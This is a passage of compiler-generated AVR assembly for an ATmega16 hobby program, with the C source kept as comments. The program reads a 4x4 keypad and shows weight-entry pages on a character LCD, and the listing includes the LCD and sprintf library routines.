SBCI R27,HIGH(-@0)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X+,R31
ST X+,R22
ST X,R23
.ENDM
.MACRO __CLRW1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X,R30
.ENDM
.MACRO __CLRD1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X+,R30
ST X+,R30
ST X,R30
.ENDM
.MACRO __PUTB2SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
ST Z,R26
.ENDM
.MACRO __PUTW2SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
ST Z+,R26
ST Z,R27
.ENDM
.MACRO __PUTD2SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
ST Z+,R26
ST Z+,R27
ST Z+,R24
ST Z,R25
.ENDM
.MACRO __PUTBSRX
MOVW R30,R28
SUBI R30,LOW(-@1)
SBCI R31,HIGH(-@1)
ST Z,R@0
.ENDM
.MACRO __PUTWSRX
MOVW R30,R28
SUBI R30,LOW(-@2)
SBCI R31,HIGH(-@2)
ST Z+,R@0
ST Z,R@1
.ENDM
.MACRO __PUTB1SNX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1SNX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SNX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X+,R31
ST X+,R22
ST X,R23
.ENDM
.MACRO __MULBRR
MULS R@0,R@1
MOVW R30,R0
.ENDM
.MACRO __MULBRRU
MUL R@0,R@1
MOVW R30,R0
.ENDM
.MACRO __MULBRR0
MULS R@0,R@1
.ENDM
.MACRO __MULBRRU0
MUL R@0,R@1
.ENDM
.MACRO __MULBNWRU
LDI R26,@2
MUL R26,R@0
MOVW R30,R0
MUL R26,R@1
ADD R31,R0
.ENDM
;NAME DEFINITIONS FOR GLOBAL VARIABLES ALLOCATED TO REGISTERS
.DEF _page=R5
.DEF _keyboard=R4
.DEF __lcd_x=R7
.DEF __lcd_y=R6
.DEF __lcd_maxx=R9
.CSEG
.ORG 0x00
;START OF CODE MARKER
__START_OF_CODE:
;INTERRUPT VECTORS
JMP __RESET
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
_tbl10_G101:
.DB 0x10,0x27,0xE8,0x3,0x64,0x0,0xA,0x0
.DB 0x1,0x0
_tbl16_G101:
.DB 0x0,0x10,0x0,0x1,0x10,0x0,0x1,0x0
;REGISTER BIT VARIABLES INITIALIZATION
__REG_BIT_VARS:
.DW 0x0001
;GLOBAL REGISTER VARIABLES INITIALIZATION
__REG_VARS:
.DB 0x0,0x0
_0x3:
.DB 0xA,0x0,0xB,0xC,0x1,0x2,0x3,0xD
.DB 0x4,0x5,0x6,0xE,0x7,0x8,0x9,0xF
_0x0:
.DB 0x4C,0x43,0x44,0x20,0x54,0x65,0x73,0x74
.DB 0x21,0x20,0x48,0x65,0x6C,0x6C,0x6F,0x20
.DB 0x0,0x50,0x72,0x65,0x73,0x73,0x20,0x4F
.DB 0x4E,0x2E,0x2E,0x20,0x0,0x45,0x6E,0x74
.DB 0x65,0x72,0x20,0x79,0x6F,0x75,0x72,0x20
.DB 0x77,0x65,0x69,0x67,0x68,0x74,0x3A,0x0
.DB 0x25,0x69,0x20,0x0,0x54,0x68,0x69,0x73
.DB 0x20,0x69,0x73,0x20,0x70,0x61,0x67,0x65
.DB 0x20,0x33,0x0,0x68,0x61,0x68,0x61,0x2E
.DB 0x2E,0x20,0x0
_0x2000003:
.DB 0x80,0xC0
__GLOBAL_INI_TBL:
.DW 0x01
.DW 0x02
.DW __REG_BIT_VARS*2
.DW 0x02
.DW 0x04
.DW __REG_VARS*2
.DW 0x10
.DW _map
.DW _0x3*2
.DW 0x11
.DW _0x11
.DW _0x0*2
.DW 0x0C
.DW _0x11+17
.DW _0x0*2+17
.DW 0x13
.DW _0x11+29
.DW _0x0*2+29
.DW 0x0F
.DW _0x11+48
.DW _0x0*2+52
.DW 0x08
.DW _0x11+63
.DW _0x0*2+67
.DW 0x02
.DW __base_y_G100
.DW _0x2000003*2
_0xFFFFFFFF:
.DW 0
#define __GLOBAL_INI_TBL_PRESENT 1
__RESET:
CLI
CLR R30
OUT EECR,R30
;INTERRUPT VECTORS ARE PLACED
;AT THE START OF FLASH
LDI R31,1
OUT GICR,R31
OUT GICR,R30
OUT MCUCR,R30
;CLEAR R2-R14
LDI R24,(14-2)+1
LDI R26,2
CLR R27
__CLEAR_REG:
ST X+,R30
DEC R24
BRNE __CLEAR_REG
;CLEAR SRAM
LDI R24,LOW(__CLEAR_SRAM_SIZE)
LDI R25,HIGH(__CLEAR_SRAM_SIZE)
LDI R26,__SRAM_START
__CLEAR_SRAM:
ST X+,R30
SBIW R24,1
BRNE __CLEAR_SRAM
;GLOBAL VARIABLES INITIALIZATION
LDI R30,LOW(__GLOBAL_INI_TBL*2)
LDI R31,HIGH(__GLOBAL_INI_TBL*2)
__GLOBAL_INI_NEXT:
LPM R24,Z+
LPM R25,Z+
SBIW R24,0
BREQ __GLOBAL_INI_END
LPM R26,Z+
LPM R27,Z+
LPM R0,Z+
LPM R1,Z+
MOVW R22,R30
MOVW R30,R0
__GLOBAL_INI_LOOP:
LPM R0,Z+
ST X+,R0
SBIW R24,1
BRNE __GLOBAL_INI_LOOP
MOVW R30,R22
RJMP __GLOBAL_INI_NEXT
__GLOBAL_INI_END:
;HARDWARE STACK POINTER INITIALIZATION
LDI R30,LOW(__SRAM_END-__HEAP_SIZE)
OUT SPL,R30
LDI R30,HIGH(__SRAM_END-__HEAP_SIZE)
OUT SPH,R30
;DATA STACK POINTER INITIALIZATION
LDI R28,LOW(__SRAM_START+__DSTACK_SIZE)
LDI R29,HIGH(__SRAM_START+__DSTACK_SIZE)
JMP _main
.ESEG
.ORG 0
.DSEG
.ORG 0x160
.CSEG
;#include <mega16.h>
#ifndef __SLEEP_DEFINED__
#define __SLEEP_DEFINED__
.EQU __se_bit=0x40
.EQU __sm_mask=0xB0
.EQU __sm_powerdown=0x20
.EQU __sm_powersave=0x30
.EQU __sm_standby=0xA0
.EQU __sm_ext_standby=0xB0
.EQU __sm_adc_noise_red=0x10
.SET power_ctrl_reg=mcucr
#endif
;#include <alcd.h>
;#include <delay.h>
;#include <stdio.h>
;
;
;
;unsigned char buffer[16];
;
;unsigned char page = 0;
;unsigned char keyboard = 0;
;bit update = 1;
;
;unsigned char map[] = {10,0,11,12,1,2,3,13,4,5,6,14,7,8,9,15};
.DSEG
;
;#define GOTO(p) page=p; update=1;
;#define UPDATE() update=1;
;
;
;char read(){
; 0000 0014 char read(){
.CSEG
_read:
; .FSTART _read
; 0000 0015
; 0000 0016 unsigned char r, c;
; 0000 0017 PORTD |= 0x0f;
ST -Y,R17
ST -Y,R16
; r -> R17
; c -> R16
IN R30,0x12
ORI R30,LOW(0xF)
OUT 0x12,R30
; 0000 0018
; 0000 0019 for(c=0;c<4;c++){
LDI R16,LOW(0)
_0x5:
CPI R16,4
BRSH _0x6
; 0000 001A DDRD = 0x00;
LDI R30,LOW(0)
OUT 0x11,R30
; 0000 001B DDRD |= 0x80 >> c;
IN R1,17
MOV R30,R16
LDI R26,LOW(128)
CALL __LSRB12
OR R30,R1
OUT 0x11,R30
; 0000 001C for(r=0;r<4;r++){
LDI R17,LOW(0)
_0x8:
CPI R17,4
BRSH _0x9
; 0000 001D if(!(PIND & (0x08 >> r))){
IN R1,16
MOV R30,R17
LDI R26,LOW(8)
CALL __LSRB12
AND R30,R1
BRNE _0xA
; 0000 001E return map[r*4+c];
LDI R30,LOW(4)
MUL R30,R17
MOVW R30,R0
MOVW R26,R30
MOV R30,R16
LDI R31,0
ADD R30,R26
ADC R31,R27
SUBI R30,LOW(-_map)
SBCI R31,HIGH(-_map)
LD R30,Z
RJMP _0x2080003
; 0000 001F }
; 0000 0020 }
_0xA:
SUBI R17,-1
RJMP _0x8
_0x9:
; 0000 0021 }
SUBI R16,-1
RJMP _0x5
_0x6:
; 0000 0022
; 0000 0023 return 0xff;
LDI R30,LOW(255)
_0x2080003:
LD R16,Y+
LD R17,Y+
RET
; 0000 0024
; 0000 0025 }
; .FEND
;
;
;void main(void)
; 0000 0029 {
_main:
; .FSTART _main
; 0000 002A
; 0000 002B
; 0000 002C
; 0000 002D unsigned char last_key=0xff;
; 0000 002E unsigned int weight = 0;
; 0000 002F
; 0000 0030 lcd_init(16);
; last_key -> R17
; weight -> R18,R19
LDI R17,255
__GETWRN 18,19,0
LDI R26,LOW(16)
RCALL _lcd_init
; 0000 0031 while (1)
_0xB:
; 0000 0032 {
; 0000 0033
; 0000 0034 if(page == 0 && update){
TST R5
BRNE _0xF
SBRC R2,0
RJMP _0x10
_0xF:
RJMP _0xE
_0x10:
; 0000 0035 lcd_clear();
CALL SUBOPT_0x0
; 0000 0036 lcd_gotoxy(0,0);
; 0000 0037 lcd_puts("LCD Test! Hello ");
__POINTW2MN _0x11,0
CALL SUBOPT_0x1
; 0000 0038 lcd_gotoxy(0,1);
; 0000 0039 lcd_puts("Press ON.. ");
__POINTW2MN _0x11,17
RJMP _0x2B
; 0000 003A update = 0;
; 0000 003B }else if(page == 1 && update){
_0xE:
LDI R30,LOW(1)
CP R30,R5
BRNE _0x14
SBRC R2,0
RJMP _0x15
_0x14:
RJMP _0x13
_0x15:
; 0000 003C lcd_clear();
CALL SUBOPT_0x0
; 0000 003D lcd_gotoxy(0,0);
; 0000 003E lcd_puts("Enter your weight:");
__POINTW2MN _0x11,29
CALL SUBOPT_0x1
; 0000 003F lcd_gotoxy(0,1);
; 0000 0040 sprintf(buffer, "%i ", weight);
LDI R30,LOW(_buffer)
LDI R31,HIGH(_buffer)
ST -Y,R31
ST -Y,R30
__POINTW1FN _0x0,48
ST -Y,R31
ST -Y,R30
MOVW R30,R18
CLR R22
CLR R23
CALL __PUTPARD1
LDI R24,4
CALL _sprintf
ADIW R28,8
; 0000 0041 lcd_puts(buffer);
LDI R26,LOW(_buffer)
LDI R27,HIGH(_buffer)
RJMP _0x2B
; 0000 0042 update = 0;
; 0000 0043 } else if(page == 2 && update){
_0x13:
LDI R30,LOW(2)
CP R30,R5
BRNE _0x18
SBRC R2,0
RJMP _0x19
_0x18:
RJMP _0x17
_0x19:
; 0000 0044 lcd_clear();
CALL SUBOPT_0x0
; 0000 0045 lcd_gotoxy(0,0);
; 0000 0046 lcd_puts("This is page 3");
__POINTW2MN _0x11,48
CALL SUBOPT_0x1
; 0000 0047 lcd_gotoxy(0,1);
; 0000 0048 lcd_puts("haha.. ");
__POINTW2MN _0x11,63
_0x2B:
RCALL _lcd_puts
; 0000 0049 update = 0;
CLT
BLD R2,0
; 0000 004A }
; 0000 004B
; 0000 004C switch(page){
_0x17:
MOV R30,R5
LDI R31,0
; 0000 004D case 0:
SBIW R30,0
BRNE _0x1D
; 0000 004E keyboard = read();
RCALL _read
MOV R4,R30
; 0000 004F if(keyboard != 0xff && keyboard != last_key){
LDI R30,LOW(255)
CP R30,R4
BREQ _0x1F
CP R17,R4
BRNE _0x20
_0x1F:
RJMP _0x1E
_0x20:
; 0000 0050 if(keyboard == 10)
LDI R30,LOW(10)
CP R30,R4
BRNE _0x21
; 0000 0051 GOTO(1);
LDI R30,LOW(1)
MOV R5,R30
_0x21:
SET
BLD R2,0
; 0000 0052 last_key = keyboard;
MOV R17,R4
; 0000 0053 }
; 0000 0054 break;
_0x1E:
RJMP _0x1C
; 0000 0055 case 1:
_0x1D:
CPI R30,LOW(0x1)
LDI R26,HIGH(0x1)
CPC R31,R26
BRNE _0x1C
; 0000 0056
; 0000 0057 keyboard = read();
RCALL _read
MOV R4,R30
; 0000 0058 if(keyboard != 0xff && keyboard != last_key){
LDI R30,LOW(255)
CP R30,R4
BREQ _0x24
CP R17,R4
BRNE _0x25
_0x24:
RJMP _0x23
_0x25:
; 0000 0059 if(keyboard >= 0 && keyboard <= 9){
LDI R30,LOW(0)
CP R4,R30
BRLO _0x27
LDI R30,LOW(9)
CP R30,R4
BRSH _0x28
_0x27:
RJMP _0x26
_0x28:
; 0000 005A weight = weight * 10 + keyboard;
__MULBNWRU 18,19,10
MOVW R26,R30
MOV R30,R4
LDI R31,0
ADD R30,R26
ADC R31,R27
MOVW R18,R30
; 0000 005B UPDATE();
SET
BLD R2,0
; 0000 005C }
; 0000 005D if(keyboard == 15){
_0x26:
LDI R30,LOW(15)
CP R30,R4
BRNE _0x29
; 0000 005E GOTO(2);
LDI R30,LOW(2)
MOV R5,R30
SET
BLD R2,0
; 0000 005F }
; 0000 0060 last_key = keyboard;
_0x29:
MOV R17,R4
; 0000 0061 }
; 0000 0062 break;
_0x23:
; 0000 0063
; 0000 0064 }
_0x1C:
; 0000 0065
; 0000 0066 }
RJMP _0xB
; 0000 0067 }
_0x2A:
RJMP _0x2A
; .FEND
.DSEG
_0x11:
.BYTE 0x47
#ifndef __SLEEP_DEFINED__
#define __SLEEP_DEFINED__
.EQU __se_bit=0x40
.EQU __sm_mask=0xB0
.EQU __sm_powerdown=0x20
.EQU __sm_powersave=0x30
.EQU __sm_standby=0xA0
.EQU __sm_ext_standby=0xB0
.EQU __sm_adc_noise_red=0x10
.SET power_ctrl_reg=mcucr
#endif
.DSEG
.CSEG
__lcd_write_nibble_G100:
; .FSTART __lcd_write_nibble_G100
ST -Y,R26
IN R30,0x15
ANDI R30,LOW(0xF)
MOV R26,R30
LD R30,Y
ANDI R30,LOW(0xF0)
OR R30,R26
OUT 0x15,R30
__DELAY_USB 13
SBI 0x15,2
__DELAY_USB 13
CBI 0x15,2
__DELAY_USB 13
RJMP _0x2080002
; .FEND
__lcd_write_data:
; .FSTART __lcd_write_data
ST -Y,R26
LD R26,Y
RCALL __lcd_write_nibble_G100
ld r30,y
swap r30
st y,r30
LD R26,Y
RCALL __lcd_write_nibble_G100
__DELAY_USB 133
RJMP _0x2080002
; .FEND
_lcd_gotoxy:
; .FSTART _lcd_gotoxy
ST -Y,R26
LD R30,Y
LDI R31,0
SUBI R30,LOW(-__base_y_G100)
SBCI R31,HIGH(-__base_y_G100)
LD R30,Z
LDD R26,Y+1
ADD R26,R30
RCALL __lcd_write_data
LDD R7,Y+1
LDD R6,Y+0
ADIW R28,2
RET
; .FEND
_lcd_clear:
; .FSTART _lcd_clear
LDI R26,LOW(2)
CALL SUBOPT_0x2
LDI R26,LOW(12)
RCALL __lcd_write_data
LDI R26,LOW(1)
CALL SUBOPT_0x2
LDI R30,LOW(0)
MOV R6,R30
MOV R7,R30
RET
; .FEND
_lcd_putchar:
; .FSTART _lcd_putchar
ST -Y,R26
LD R26,Y
CPI R26,LOW(0xA)
BREQ _0x2000005
CP R7,R9
BRLO _0x2000004
_0x2000005:
LDI R30,LOW(0)
ST -Y,R30
INC R6
MOV R26,R6
RCALL _lcd_gotoxy
LD R26,Y
CPI R26,LOW(0xA)
BRNE _0x2000007
RJMP _0x2080002
_0x2000007:
_0x2000004:
INC R7
SBI 0x15,0
LD R26,Y
RCALL __lcd_write_data
CBI 0x15,0
RJMP _0x2080002
; .FEND
_lcd_puts:
; .FSTART _lcd_puts
ST -Y,R27
ST -Y,R26
ST -Y,R17
_0x2000008:
LDD R26,Y+1
LDD R27,Y+1+1
LD R30,X+
STD Y+1,R26
STD Y+1+1,R27
MOV R17,R30
CPI R30,0
BREQ _0x200000A
MOV R26,R17
RCALL _lcd_putchar
RJMP _0x2000008
_0x200000A:
LDD R17,Y+0
ADIW R28,3
RET
; .FEND
_lcd_init:
; .FSTART _lcd_init
ST -Y,R26
IN R30,0x14
ORI R30,LOW(0xF0)
OUT 0x14,R30
SBI 0x14,2
SBI 0x14,0
SBI 0x14,1
CBI 0x15,2
CBI 0x15,0
CBI 0x15,1
LDD R9,Y+0
LD R30,Y
SUBI R30,-LOW(128)
__PUTB1MN __base_y_G100,2
LD R30,Y
SUBI R30,-LOW(192)
__PUTB1MN __base_y_G100,3
LDI R26,LOW(20)
LDI R27,0
CALL _delay_ms
CALL SUBOPT_0x3
CALL SUBOPT_0x3
CALL SUBOPT_0x3
LDI R26,LOW(32)
RCALL __lcd_write_nibble_G100
__DELAY_USW 200
LDI R26,LOW(40)
RCALL __lcd_write_data
LDI R26,LOW(4)
RCALL __lcd_write_data
LDI R26,LOW(133)
RCALL __lcd_write_data
LDI R26,LOW(6)
RCALL __lcd_write_data
RCALL _lcd_clear
_0x2080002:
ADIW R28,1
RET
; .FEND
#ifndef __SLEEP_DEFINED__
#define __SLEEP_DEFINED__
.EQU __se_bit=0x40
.EQU __sm_mask=0xB0
.EQU __sm_powerdown=0x20
.EQU __sm_powersave=0x30
.EQU __sm_standby=0xA0
.EQU __sm_ext_standby=0xB0
.EQU __sm_adc_noise_red=0x10
.SET power_ctrl_reg=mcucr
#endif
.CSEG
_put_buff_G101:
; .FSTART _put_buff_G101
ST -Y,R27
ST -Y,R26
ST -Y,R17
ST -Y,R16
LDD R26,Y+2
LDD R27,Y+2+1
ADIW R26,2
CALL __GETW1P
SBIW R30,0
BREQ _0x2020010
LDD R26,Y+2
LDD R27,Y+2+1
ADIW R26,4
CALL __GETW1P
MOVW R16,R30
SBIW R30,0
BREQ _0x2020012
__CPWRN 16,17,2
BRLO _0x2020013
MOVW R30,R16
SBIW R30,1
MOVW R16,R30
__PUTW1SNS 2,4
_0x2020012:
LDD R26,Y+2
LDD R27,Y+2+1
ADIW R26,2
LD R30,X+
LD R31,X+
ADIW R30,1
ST -X,R31
ST -X,R30
SBIW R30,1
LDD R26,Y+4
STD Z+0,R26
_0x2020013:
LDD R26,Y+2
LDD R27,Y+2+1
CALL __GETW1P
TST R31
BRMI _0x2020014
LD R30,X+
LD R31,X+
ADIW R30,1
ST -X,R31
ST -X,R30
_0x2020014:
RJMP _0x2020015
_0x2020010:
LDD R26,Y+2
LDD R27,Y+2+1
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
ST X+,R30
ST X,R31
_0x2020015:
LDD R17,Y+1
LDD R16,Y+0
ADIW R28,5
RET
; .FEND
__print_G101:
; .FSTART __print_G101
ST -Y,R27
ST -Y,R26
SBIW R28,6
CALL __SAVELOCR6
LDI R17,0
LDD R26,Y+12
LDD R27,Y+12+1
LDI R30,LOW(0)
LDI R31,HIGH(0)
ST X+,R30
ST X,R31
_0x2020016:
LDD R30,Y+18
LDD R31,Y+18+1
ADIW R30,1
STD Y+18,R30
STD Y+18+1,R31
SBIW R30,1
LPM R30,Z
MOV R18,R30
CPI R30,0
BRNE PC+2
RJMP _0x2020018
MOV R30,R17
CPI R30,0
BRNE _0x202001C
CPI R18,37
BRNE _0x202001D
LDI R17,LOW(1)
RJMP _0x202001E
_0x202001D:
CALL SUBOPT_0x4
_0x202001E:
RJMP _0x202001B
_0x202001C:
CPI R30,LOW(0x1)
BRNE _0x202001F
CPI R18,37
BRNE _0x2020020
CALL SUBOPT_0x4
RJMP _0x20200CC
_0x2020020:
LDI R17,LOW(2)
LDI R20,LOW(0)
LDI R16,LOW(0)
CPI R18,45
BRNE _0x2020021
LDI R16,LOW(1)
RJMP _0x202001B
_0x2020021:
CPI R18,43
BRNE _0x2020022
LDI R20,LOW(43)
RJMP _0x202001B
_0x2020022:
CPI R18,32
BRNE _0x2020023
LDI R20,LOW(32)
RJMP _0x202001B
_0x2020023:
RJMP _0x2020024
_0x202001F:
CPI R30,LOW(0x2)
BRNE _0x2020025
_0x2020024:
LDI R21,LOW(0)
LDI R17,LOW(3)
CPI R18,48
BRNE _0x2020026
ORI R16,LOW(128)
RJMP _0x202001B
_0x2020026:
RJMP _0x2020027
_0x2020025:
CPI R30,LOW(0x3)
BREQ PC+2
RJMP _0x202001B
_0x2020027:
CPI R18,48
BRLO _0x202002A
CPI R18,58
BRLO _0x202002B
_0x202002A:
RJMP _0x2020029
_0x202002B:
LDI R26,LOW(10)
MUL R21,R26
MOV R21,R0
MOV R30,R18
SUBI R30,LOW(48)
ADD R21,R30
RJMP _0x202001B
_0x2020029:
MOV R30,R18
CPI R30,LOW(0x63)
BRNE _0x202002F
CALL SUBOPT_0x5
LDD R30,Y+16
LDD R31,Y+16+1
LDD R26,Z+4
ST -Y,R26
CALL SUBOPT_0x6
RJMP _0x2020030
_0x202002F:
CPI R30,LOW(0x73)
BRNE _0x2020032
CALL SUBOPT_0x5
CALL SUBOPT_0x7
CALL _strlen
MOV R17,R30
RJMP _0x2020033
_0x2020032:
CPI R30,LOW(0x70)
BRNE _0x2020035
CALL SUBOPT_0x5
CALL SUBOPT_0x7
CALL _strlenf
MOV R17,R30
ORI R16,LOW(8)
_0x2020033:
ORI R16,LOW(2)
ANDI R16,LOW(127)
LDI R19,LOW(0)
RJMP _0x2020036
_0x2020035:
CPI R30,LOW(0x64)
BREQ _0x2020039
CPI R30,LOW(0x69)
BRNE _0x202003A
_0x2020039:
ORI R16,LOW(4)
RJMP _0x202003B
_0x202003A:
CPI R30,LOW(0x75)
BRNE _0x202003C
_0x202003B:
LDI R30,LOW(_tbl10_G101*2)
LDI R31,HIGH(_tbl10_G101*2)
STD Y+6,R30
STD Y+6+1,R31
LDI R17,LOW(5)
RJMP _0x202003D
_0x202003C:
CPI R30,LOW(0x58)
BRNE _0x202003F
ORI R16,LOW(8)
RJMP _0x2020040
_0x202003F:
CPI R30,LOW(0x78)
BREQ PC+2
RJMP _0x2020071
_0x2020040:
LDI R30,LOW(_tbl16_G101*2)
LDI R31,HIGH(_tbl16_G101*2)
STD Y+6,R30
STD Y+6+1,R31
LDI R17,LOW(4)
_0x202003D:
SBRS R16,2
RJMP _0x2020042
CALL SUBOPT_0x5
CALL SUBOPT_0x8
LDD R26,Y+11
TST R26
BRPL _0x2020043
LDD R30,Y+10
LDD R31,Y+10+1
CALL __ANEGW1
STD Y+10,R30
STD Y+10+1,R31
LDI R20,LOW(45)
_0x2020043:
CPI R20,0
BREQ _0x2020044
SUBI R17,-LOW(1)
RJMP _0x2020045
_0x2020044:
ANDI R16,LOW(251)
_0x2020045:
RJMP _0x2020046
_0x2020042:
CALL SUBOPT_0x5
CALL SUBOPT_0x8
_0x2020046:
_0x2020036:
SBRC R16,0
RJMP _0x2020047
_0x2020048:
CP R17,R21
BRSH _0x202004A
SBRS R16,7
RJMP _0x202004B
SBRS R16,2
RJMP _0x202004C
ANDI R16,LOW(251)
MOV R18,R20
SUBI R17,LOW(1)
RJMP _0x202004D
_0x202004C:
LDI R18,LOW(48)
_0x202004D:
RJMP _0x202004E
_0x202004B:
LDI R18,LOW(32)
_0x202004E:
CALL SUBOPT_0x4
SUBI R21,LOW(1)
RJMP _0x2020048
_0x202004A:
_0x2020047:
MOV R19,R17
SBRS R16,1
RJMP _0x202004F
_0x2020050:
CPI R19,0
BREQ _0x2020052
SBRS R16,3
RJMP _0x2020053
LDD R30,Y+6
LDD R31,Y+6+1
LPM R18,Z+
STD Y+6,R30
STD Y+6+1,R31
RJMP _0x2020054
_0x2020053:
LDD R26,Y+6
LDD R27,Y+6+1
LD R18,X+
STD Y+6,R26
STD Y+6+1,R27
_0x2020054:
CALL SUBOPT_0x4
CPI R21,0
BREQ _0x2020055
SUBI R21,LOW(1)
_0x2020055:
SUBI R19,LOW(1)
RJMP _0x2020050
_0x2020052:
RJMP _0x2020056
_0x202004F:
_0x2020058:
LDI R18,LOW(48)
LDD R30,Y+6
LDD R31,Y+6+1
CALL __GETW1PF
STD Y+8,R30
STD Y+8+1,R31
LDD R30,Y+6
LDD R31,Y+6+1
ADIW R30,2
STD Y+6,R30
STD Y+6+1,R31
_0x202005A:
LDD R30,Y+8
LDD R31,Y+8+1
LDD R26,Y+10
LDD R27,Y+10+1
CP R26,R30
CPC R27,R31
BRLO _0x202005C
SUBI R18,-LOW(1)
LDD R26,Y+8
LDD R27,Y+8+1
LDD R30,Y+10
LDD R31,Y+10+1
SUB R30,R26
SBC R31,R27
STD Y+10,R30
STD Y+10+1,R31
RJMP _0x202005A
_0x202005C:
CPI R18,58
BRLO _0x202005D
SBRS R16,3
RJMP _0x202005E
SUBI R18,-LOW(7)
RJMP _0x202005F
_0x202005E:
SUBI R18,-LOW(39)
_0x202005F:
_0x202005D:
SBRC R16,4
RJMP _0x2020061
CPI R18,49
BRSH _0x2020063
LDD R26,Y+8
LDD R27,Y+8+1
SBIW R26,1
BRNE _0x2020062
_0x2020063:
RJMP _0x20200CD
_0x2020062:
CP R21,R19
BRLO _0x2020067
SBRS R16,0
RJMP _0x2020068
_0x2020067:
RJMP _0x2020066
_0x2020068:
LDI R18,LOW(32)
SBRS R16,7
RJMP _0x2020069
LDI R18,LOW(48)
_0x20200CD:
ORI R16,LOW(16)
SBRS R16,2
RJMP _0x202006A
ANDI R16,LOW(251)
ST -Y,R20
CALL SUBOPT_0x6
CPI R21,0
BREQ _0x202006B
SUBI R21,LOW(1)
_0x202006B:
_0x202006A:
_0x2020069:
_0x2020061:
CALL SUBOPT_0x4
CPI R21,0
BREQ _0x202006C
SUBI R21,LOW(1)
_0x202006C:
_0x2020066:
SUBI R19,LOW(1)
LDD R26,Y+8
LDD R27,Y+8+1
SBIW R26,2
BRLO _0x2020059
RJMP _0x2020058
_0x2020059:
_0x2020056:
SBRS R16,0
RJMP _0x202006D
_0x202006E:
CPI R21,0
BREQ _0x2020070
SUBI R21,LOW(1)
LDI R30,LOW(32)
ST -Y,R30
CALL SUBOPT_0x6
RJMP _0x202006E
_0x2020070:
_0x202006D:
_0x2020071:
_0x2020030:
_0x20200CC:
LDI R17,LOW(0)
_0x202001B:
RJMP _0x2020016
_0x2020018:
LDD R26,Y+12
LDD R27,Y+12+1
CALL __GETW1P
CALL __LOADLOCR6
ADIW R28,20
RET
; .FEND
_sprintf:
; .FSTART _sprintf
PUSH R15
MOV R15,R24
SBIW R28,6
CALL __SAVELOCR4
CALL SUBOPT_0x9
SBIW R30,0
BRNE _0x2020072
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
RJMP _0x2080001
_0x2020072:
MOVW R26,R28
ADIW R26,6
CALL __ADDW2R15
MOVW R16,R26
CALL SUBOPT_0x9
STD Y+6,R30
STD Y+6+1,R31
LDI R30,LOW(0)
STD Y+8,R30
STD Y+8+1,R30
MOVW R26,R28
ADIW R26,10
CALL __ADDW2R15
CALL __GETW1P
ST -Y,R31
ST -Y,R30
ST -Y,R17
ST -Y,R16
LDI R30,LOW(_put_buff_G101)
LDI R31,HIGH(_put_buff_G101)
ST -Y,R31
ST -Y,R30
MOVW R26,R28
ADIW R26,10
RCALL __print_G101
MOVW R18,R30
LDD R26,Y+6
LDD R27,Y+6+1
LDI R30,LOW(0)
ST X,R30
MOVW R30,R18
_0x2080001:
CALL __LOADLOCR4
ADIW R28,10
POP R15
RET
; .FEND
.CSEG
.CSEG
_strlen:
; .FSTART _strlen
ST -Y,R27
ST -Y,R26
ld r26,y+
ld r27,y+
clr r30
clr r31
strlen0:
ld r22,x+
tst r22
breq strlen1
adiw r30,1
rjmp strlen0
strlen1:
ret
; .FEND
_strlenf:
; .FSTART _strlenf
ST -Y,R27
ST -Y,R26
clr r26
clr r27
ld r30,y+
ld r31,y+
strlenf0:
lpm r0,z+
tst r0
breq strlenf1
adiw r26,1
rjmp strlenf0
strlenf1:
movw r30,r26
ret
; .FEND
.DSEG
_buffer:
.BYTE 0x10
_map:
.BYTE 0x10
__base_y_G100:
.BYTE 0x4
.CSEG
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0x0:
CALL _lcd_clear
LDI R30,LOW(0)
ST -Y,R30
LDI R26,LOW(0)
JMP _lcd_gotoxy
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0x1:
CALL _lcd_puts
LDI R30,LOW(0)
ST -Y,R30
LDI R26,LOW(1)
JMP _lcd_gotoxy
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0x2:
CALL __lcd_write_data
LDI R26,LOW(3)
LDI R27,0
JMP _delay_ms
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0x3:
LDI R26,LOW(48)
CALL __lcd_write_nibble_G100
__DELAY_USW 200
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 5 TIMES, CODE SIZE REDUCTION:13 WORDS
SUBOPT_0x4:
ST -Y,R18
LDD R26,Y+13
LDD R27,Y+13+1
LDD R30,Y+15
LDD R31,Y+15+1
ICALL
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 5 TIMES, CODE SIZE REDUCTION:9 WORDS
SUBOPT_0x5:
LDD R30,Y+16
